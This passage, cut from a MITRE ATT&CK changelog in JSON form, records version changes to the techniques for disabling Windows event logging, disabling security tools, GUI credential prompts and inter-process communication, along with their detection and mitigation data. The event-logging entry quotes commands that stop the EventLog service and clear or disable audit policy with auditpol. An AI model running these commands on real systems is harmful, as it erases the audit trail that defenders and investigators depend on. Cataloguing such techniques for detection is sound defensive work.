Policy. Retrieved September 13, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-policy\"}, \"root['external_references'][4]\": {\"source_name\": \"Advanced_sec_audit_policy_settings\", \"description\": \"Simpson, D. et al. (2017, April 19). Advanced security audit policy settings. Retrieved September 14, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/windows/security/threat-protection/auditing/advanced-security-audit-policy-settings\"}, \"root['external_references'][5]\": {\"source_name\": \"auditpol\", \"description\": \"Jason Gerend, et al. (2017, October 16). auditpol. Retrieved September 1, 2021.\", \"url\": \"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/auditpol\"}, \"root['external_references'][6]\": {\"source_name\": \"Disable_Win_Event_Logging\", \"description\": \" dmcxblue. (n.d.). Disable Windows Event Logging. Retrieved September 10, 2021.\", \"url\": \"https://dmcxblue.gitbook.io/red-team-notes-2-0/red-team-techniques/defense-evasion/t1562-impair-defenses/disable-windows-event-logging\"}, \"root['external_references'][7]\": {\"source_name\": \"auditpol.exe_STRONTIC\", \"description\": \"STRONTIC. (n.d.). auditpol.exe. Retrieved September 9, 2021.\", \"url\": \"https://strontic.github.io/xcyclopedia/library/auditpol.exe-214E0EA1F7F7C27C82D23F183F9D23F1.html\"}, \"root['external_references'][8]\": {\"source_name\": \"T1562.002_redcanaryco\", \"description\": \"redcanaryco. (2021, September 3). T1562.002 - Disable Windows Event Logging. Retrieved September 13, 2021.\", \"url\": \"https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1562.002/T1562.002.md\"}, \"root['external_references'][9]\": {\"source_name\": \"def_ev_win_event_logging\", \"description\": \"Chandel, R. (2021, April 22). Defense Evasion: Windows Event Logging (T1562.002). Retrieved September 14, 2021.\", \"url\": \"https://www.hackingarticles.in/defense-evasion-windows-event-logging-t1562-002/\"}, \"root['external_references'][10]\": {\"source_name\": \"evt_log_tampering\", \"description\": \"svch0st. (2020, September 30). Event Log Tampering Part 1: Disrupting the EventLog Service. Retrieved September 14, 2021.\", \"url\": \"https://svch0st.medium.com/event-log-tampering-part-1-disrupting-the-eventlog-service-8d4b7d67335c\"}, \"root['x_mitre_data_sources'][0]\": \"Process: Process Creation\", \"root['x_mitre_data_sources'][1]\": \"Script: Script Execution\", \"root['x_mitre_data_sources'][2]\": \"Windows Registry: Windows Registry Key Creation\", \"root['x_mitre_data_sources'][3]\": \"Application Log: Application Log Content\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may disable Windows event logging to limit data t1Adversaries may disable Windows event logging to limit data 
>that can be leveraged for detections and audits. Windows eve>that can be leveraged for detections and audits. Windows eve
>nt logs record user and system activity such as login attemp>nt logs record user and system activity such as login attemp
>ts, process creation, and much more.(Citation: Windows Log E>ts, process creation, and much more.(Citation: Windows Log E
>vents) This data is used by security tools and analysts to g>vents) This data is used by security tools and analysts to g
>enerate detections.  Adversaries may targeting system-wide l>enerate detections.  The EventLog service maintains event lo
>ogging or just that of a particular application. By disablin>gs from various system components and applications.(Citation
>g Windows event logging, adversaries can operate while leavi>: EventLog_Core_Technologies) By default, the service automa
>ng less evidence of a compromise behind.>tically starts when a system powers on. An audit policy, mai
 >ntained by the Local Security Policy (secpol.msc), defines w
 >hich system events the EventLog service logs. Security audit
 > policy settings can be changed by running secpol.msc, then 
 >navigating to <code>Security Settings\\Local Policies\\Audit P
 >olicy</code> for basic audit policy settings or <code>Securi
 >ty Settings\\Advanced Audit Policy Configuration</code> for a
 >dvanced audit policy settings.(Citation: Audit_Policy_Micros
 >oft)(Citation: Advanced_sec_audit_policy_settings) <code>aud
 >itpol.exe</code> may also be used to set audit policies.(Cit
 >ation: auditpol)  Adversaries may target system-wide logging
 > or just that of a particular application. For example, the 
 >EventLog service may be disabled using the following PowerSh
 >ell line: <code>Stop-Service -Name EventLog</code>.(Citation
 >: Disable_Win_Event_Logging) Additionally, adversaries may u
 >se <code>auditpol</code> and its sub-commands in a command p
 >rompt to disable auditing or clear the audit policy. To enab
 >le or disable a specified setting or audit category, adversa
 >ries may use the <code>/success</code> or <code>/failure</co
 >de> parameters. For example, <code>auditpol /set /category:\u201d
 >Account Logon\u201d /success:disable /failure:disable</code> turn
 >s off auditing for the Account Logon category.(Citation: aud
 >itpol.exe_STRONTIC)(Citation: T1562.002_redcanaryco) To clea
 >r the audit policy, adversaries may run the following lines:
 > <code>auditpol /clear /y</code> or <code>auditpol /remove /
 >allusers</code>.(Citation: T1562.002_redcanaryco)  By disabl
 >ing Windows event logging, adversaries can operate while lea
 >ving less evidence of a compromise behind.
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1024: Restrict Registry Permissions" ], "new": [ "M1047: Audit" ], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0013: Sensor Health (Host Status)", "DS0015: Application Log (Application Log Content)", "DS0017: Command (Command Execution)", "DS0024: Windows Registry (Windows Registry Key Creation)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--ac08589e-ee59-4935-8667-d845e38fe579", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-21 20:32:20.810000+00:00", "modified": "2021-10-18 21:27:48.159000+00:00", "name": "Disable or Modify Tools", "description": "Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\n\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "defense-evasion" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1562/001", "external_id": "T1562.001" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/578.html", "external_id": "CAPEC-578" }, { "source_name": "OutFlank System Calls", "description": "de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.", "url": "https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/" }, { "source_name": "MDSec System Calls", "description": "MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.", "url": "https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Gordon Long, Box, Inc., @ethicalhax", "Ziv Karliner, @ziv_kr, Team Nautilus Aqua Security", "Nathaniel Quist, Palo Alto Networks", "Gal Singer, @galsinger29, Team Nautilus Aqua Security" ], "x_mitre_data_sources": [ "Process: Process Termination", "Windows Registry: Windows Registry Key Modification", "Windows Registry: Windows Registry Key Deletion", "Command: Command Execution", "Service: Service Metadata", "Sensor Health: Host Status" ], "x_mitre_defense_bypassed": [ "Anti-virus", "Log analysis", "Signature-based detection", "Host intrusion prevention systems", "File monitoring" ], "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious.", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User", "Administrator" ], "x_mitre_platforms": [ "Windows", "macOS", "Linux", "Containers", "IaaS" ], "x_mitre_version": "1.2", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-18 21:27:48.159000+00:00\", \"old_value\": \"2021-04-19 13:41:17.746000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\\n\\nAdversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)\", \"old_value\": \"Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.\\n+Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take the many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information.\\n+\\n+Adversaries may also tamper with artifacts deployed and utilized by security tools. Security tools may make dynamic changes to system components in order to maintain visibility into specific events. For example, security products may load their own modules and/or modify those loaded by processes to facilitate data collection. Similar to [Indicator Blocking](https://attack.mitre.org/techniques/T1562/006), adversaries may unhook or otherwise modify these features added by tools (especially those that exist in userland or are otherwise potentially accessible to adversaries) to avoid detection.(Citation: OutFlank System Calls)(Citation: MDSec System Calls)\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n\\nLack of expected log events may be suspicious.\", \"old_value\": \"Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\", \"diff\": \"--- \\n+++ \\n@@ -1 +1,3 @@\\n-Monitor processes and command-line arguments to see if security tools are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\\n+Monitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\\n+\\n+Lack of expected log events may be suspicious.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.2\", \"old_value\": \"1.1\"}}, \"iterable_item_added\": {\"root['external_references'][2]\": {\"source_name\": \"OutFlank System Calls\", \"description\": \"de Plaa, C. (2019, June 19). Red Team Tactics: Combining Direct System Calls and sRDI to bypass AV/EDR. Retrieved September 29, 2021.\", \"url\": \"https://outflank.nl/blog/2019/06/19/red-team-tactics-combining-direct-system-calls-and-srdi-to-bypass-av-edr/\"}, \"root['external_references'][3]\": {\"source_name\": \"MDSec System Calls\", \"description\": \"MDSec Research. (2020, December). Bypassing User-Mode Hooks and Direct Invocation of System Calls for Red Teams. Retrieved September 29, 2021.\", \"url\": \"https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams/\"}, \"root['x_mitre_contributors'][0]\": \"Gordon Long, Box, Inc., @ethicalhax\"}}", "previous_version": "1.1", "version_change": "1.1 \u2192 1.2", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may disable security tools to avoid possible dett1Adversaries may modify and/or disable security tools to avoi
>ection of their tools and activities. This can take the form>d possible detection of their malware/tools and activities. 
> of killing security software or event logging processes, de>This may take the many forms, such as killing security softw
>leting Registry keys so that tools do not start at run time,>are processes or services, modifying / deleting Registry key
> or other methods to interfere with security tools scanning >s or configuration files so that tools do not operate proper
>or reporting information.>ly, or other methods to interfere with security tools scanni
 >ng or reporting information.  Adversaries may also tamper wi
 >th artifacts deployed and utilized by security tools. Securi
 >ty tools may make dynamic changes to system components in or
 >der to maintain visibility into specific events. For example
 >, security products may load their own modules and/or modify
 > those loaded by processes to facilitate data collection. Si
 >milar to [Indicator Blocking](https://attack.mitre.org/techn
 >iques/T1562/006), adversaries may unhook or otherwise modify
 > these features added by tools (especially those that exist 
 >in userland or are otherwise potentially accessible to adver
 >saries) to avoid detection.(Citation: OutFlank System Calls)
 >(Citation: MDSec System Calls)
", "changelog_mitigations": { "shared": [ "M1018: User Account Management", "M1022: Restrict File and Directory Permissions", "M1024: Restrict Registry Permissions" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Termination)", "DS0013: Sensor Health (Host Status)", "DS0017: Command (Command Execution)", "DS0019: Service (Service Metadata)", "DS0024: Windows Registry (Windows Registry Key Deletion)", "DS0024: Windows Registry (Windows Registry Key Modification)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--a2029942-0a85-4947-b23c-ca434698171d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-11 18:58:45.908000+00:00", "modified": "2021-08-24 18:21:07.926000+00:00", "name": "GUI Input Capture", "description": "Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\n\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) ", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "collection" }, { "kill_chain_name": "mitre-attack", "phase_name": "credential-access" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1056/002", "external_id": "T1056.002" }, { "source_name": "capec", "url": "https://capec.mitre.org/data/definitions/659.html", "external_id": "CAPEC-659" }, { "source_name": "OSX Malware Exploits MacKeeper", "description": "Sergei Shevchenko. (2015, June 4). New Mac OS Malware Exploits Mackeeper. Retrieved July 3, 2017.", "url": "https://baesystemsai.blogspot.com/2015/06/new-mac-os-malware-exploits-mackeeper.html" }, { "source_name": "LogRhythm Do You Trust Oct 2014", "description": "Foss, G. (2014, October 3). Do You Trust Your Computer?. Retrieved December 17, 2018.", "url": "https://logrhythm.com/blog/do-you-trust-your-computer/" }, { "source_name": "OSX Keydnap malware", "description": "Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.", "url": "https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/" }, { "source_name": "Spoofing credential dialogs", "description": "Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.", "url": "https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/" }, { "source_name": "Enigma Phishing for Credentials Jan 2015", "description": "Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.", "url": "https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_contributors": [ "Matthew Molyett, @s1air, Cisco Talos" ], "x_mitre_data_sources": [ "Script: Script Execution", "Command: Command Execution", "Process: Process Creation" ], "x_mitre_detection": "Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \n\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. ", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_platforms": [ "macOS", "Windows", "Linux" ], "x_mitre_version": "1.1", "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-08-24 18:21:07.926000+00:00\", \"old_value\": \"2020-03-24 20:56:14.853000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\\n\\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \", \"old_value\": \"Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\\n\\nAdversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). \", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n Adversaries may mimic common operating system GUI components to prompt users for credentials with a seemingly legitimate prompt. When programs are executed that need additional privileges than are present in the current user context, it is common for the operating system to prompt the user for proper credentials to authorize the elevated privileges for the task (ex: [Bypass User Account Control](https://attack.mitre.org/techniques/T1548/002)).\\n \\n-Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as AppleScript(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware) and PowerShell(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015). \\n+Adversaries may mimic this functionality to prompt users for credentials with a seemingly legitimate prompt for a number of reasons that mimic normal usage, such as a fake installer requiring additional access or a fake malware removal suite.(Citation: OSX Malware Exploits MacKeeper) This type of prompt can be used to collect credentials via various languages such as [AppleScript](https://attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citation: Spoofing credential dialogs) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do You Trust Oct 2014)(Citation: Enigma Phishing for Credentials Jan 2015)(Citation: Spoofing credential dialogs) On Linux systems attackers may launch dialog boxes prompting users for credentials from malicious shell scripts or the command line (i.e. [Unix Shell](https://attack.mitre.org/techniques/T1059/004)).(Citation: Spoofing credential dialogs) \"}, \"root['external_references'][5]['source_name']\": {\"new_value\": \"Spoofing credential dialogs\", \"old_value\": \"Enigma Phishing for Credentials Jan 2015\"}, \"root['external_references'][5]['description']\": {\"new_value\": \"Johann Rehberger. (2021, April 18). Spoofing credential dialogs on macOS Linux and Windows. Retrieved August 19, 2021.\", \"old_value\": \"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.\"}, \"root['external_references'][5]['url']\": {\"new_value\": \"https://embracethered.com/blog/posts/2021/spoofing-credential-dialogs/\", \"old_value\": \"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/\"}, \"root['x_mitre_detection']\": {\"new_value\": \"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n\\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \", \"old_value\": \"Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.\\n\\nInspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n-Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials.\\n+Monitor process execution for unusual programs as well as malicious instances of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059) that could be used to prompt users for credentials. For example, command/script history including abnormal parameters (such as requests for credentials and/or strings related to creating password prompts) may be malicious.(Citation: Spoofing credential dialogs) \\n \\n-Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources.\\n+Inspect and scrutinize input prompts for indicators of illegitimacy, such as non-traditional banners, text, timing, and/or sources. \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.1\", \"old_value\": \"1.0\"}}, \"iterable_item_added\": {\"root['external_references'][6]\": {\"source_name\": \"Enigma Phishing for Credentials Jan 2015\", \"description\": \"Nelson, M. (2015, January 21). Phishing for Credentials: If you want it, just ask!. Retrieved December 17, 2018.\", \"url\": \"https://enigma0x3.net/2015/01/21/phishing-for-credentials-if-you-want-it-just-ask/\"}, \"root['x_mitre_data_sources'][0]\": \"Script: Script Execution\", \"root['x_mitre_data_sources'][1]\": \"Command: Command Execution\", \"root['x_mitre_platforms'][2]\": \"Linux\"}}", "previous_version": "1.0", "version_change": "1.0 \u2192 1.1", "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may mimic common operating system GUI componentst1Adversaries may mimic common operating system GUI components
> to prompt users for credentials with a seemingly legitimate> to prompt users for credentials with a seemingly legitimate
> prompt. When programs are executed that need additional pri> prompt. When programs are executed that need additional pri
>vileges than are present in the current user context, it is >vileges than are present in the current user context, it is 
>common for the operating system to prompt the user for prope>common for the operating system to prompt the user for prope
>r credentials to authorize the elevated privileges for the t>r credentials to authorize the elevated privileges for the t
>ask (ex: [Bypass User Account Control](https://attack.mitre.>ask (ex: [Bypass User Account Control](https://attack.mitre.
>org/techniques/T1548/002)).  Adversaries may mimic this func>org/techniques/T1548/002)).  Adversaries may mimic this func
>tionality to prompt users for credentials with a seemingly l>tionality to prompt users for credentials with a seemingly l
>egitimate prompt for a number of reasons that mimic normal u>egitimate prompt for a number of reasons that mimic normal u
>sage, such as a fake installer requiring additional access o>sage, such as a fake installer requiring additional access o
>r a fake malware removal suite.(Citation: OSX Malware Exploi>r a fake malware removal suite.(Citation: OSX Malware Exploi
>ts MacKeeper) This type of prompt can be used to collect cre>ts MacKeeper) This type of prompt can be used to collect cre
>dentials via various languages such as AppleScript(Citation:>dentials via various languages such as [AppleScript](https:/
> LogRhythm Do You Trust Oct 2014)(Citation: OSX Keydnap malw>/attack.mitre.org/techniques/T1059/002)(Citation: LogRhythm 
>are) and PowerShell(Citation: LogRhythm Do You Trust Oct 201>Do You Trust Oct 2014)(Citation: OSX Keydnap malware)(Citati
>4)(Citation: Enigma Phishing for Credentials Jan 2015). >on: Spoofing credential dialogs) and [PowerShell](https://at
 >tack.mitre.org/techniques/T1059/001).(Citation: LogRhythm Do
 > You Trust Oct 2014)(Citation: Enigma Phishing for Credentia
 >ls Jan 2015)(Citation: Spoofing credential dialogs) On Linux
 > systems attackers may launch dialog boxes prompting users f
 >or credentials from malicious shell scripts or the command l
 >ine (i.e. [Unix Shell](https://attack.mitre.org/techniques/T
 >1059/004)).(Citation: Spoofing credential dialogs) 
", "changelog_mitigations": { "shared": [ "M1017: User Training" ], "new": [], "dropped": [] }, "changelog_detections": { "shared": [], "new": [ "DS0009: Process (Process Creation)", "DS0012: Script (Script Execution)", "DS0017: Command (Command Execution)" ], "dropped": [] } }, { "type": "attack-pattern", "id": "attack-pattern--acd0ba37-7ba9-4cc5-ac61-796586cd856d", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "created": "2020-02-12 14:08:48.689000+00:00", "modified": "2021-10-15 19:48:30.432000+00:00", "name": "Inter-Process Communication", "description": "Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \n\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)", "kill_chain_phases": [ { "kill_chain_name": "mitre-attack", "phase_name": "execution" } ], "revoked": false, "external_references": [ { "source_name": "mitre-attack", "url": "https://attack.mitre.org/techniques/T1559", "external_id": "T1559" }, { "source_name": "Fireeye Hunting COM June 2019", "description": "Hamilton, C. (2019, June 4). Hunting COM Objects. Retrieved June 10, 2019.", "url": "https://www.fireeye.com/blog/threat-research/2019/06/hunting-com-objects.html" } ], "object_marking_refs": [ "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" ], "x_mitre_data_sources": [ "Module: Module Load", "Process: Process Creation", "Script: Script Execution" ], "x_mitre_detection": "Monitor for strings in files/commands, loaded DLLs/libraries, or spawned processes that are associated with abuse of IPC mechanisms.", "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ "Administrator", "User", "SYSTEM" ], "x_mitre_platforms": [ "Windows", "macOS" ], "x_mitre_remote_support": true, "x_mitre_version": "1.1", "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_remote_support']\": true}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2021-10-15 19:48:30.432000+00:00\", \"old_value\": \"2020-03-28 19:34:47.546000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \\n\\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms. Adversaries may also use [Remote Services](https://attack.mitre.org/techniques/T1021) such as [Distributed Component Object Model](https://attack.mitre.org/techniques/T1021/003) to facilitate remote IPC execution.(Citation: Fireeye Hunting COM June 2019)\", \"old_value\": \"Adversaries may abuse inter-process communication (IPC) mechanisms for local code or command execution. IPC is typically used by processes to share data, communicate with each other, or synchronize execution. IPC is also commonly used to avoid situations such as deadlocks, which occurs when processes are stuck in a cyclic waiting pattern. \\n\\nAdversaries may abuse IPC to execute arbitrary code or commands. IPC mechanisms may differ depending on OS, but typically exists in a form accessible through programming languages/libraries or native interfaces such as Windows [Dynamic Data Exchange](https://attack.mitre.org/techniques/T1559/002) or [Component Object Model](https://attack.mitre.org/techniques/T1559/001). Higher level execution mediums, such as those of [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059)s, may also leverage underlying IPC mechanisms.\", \"diff\": \"--- \\n+++ \\n@@ -1,3 +1,3 @@\\n 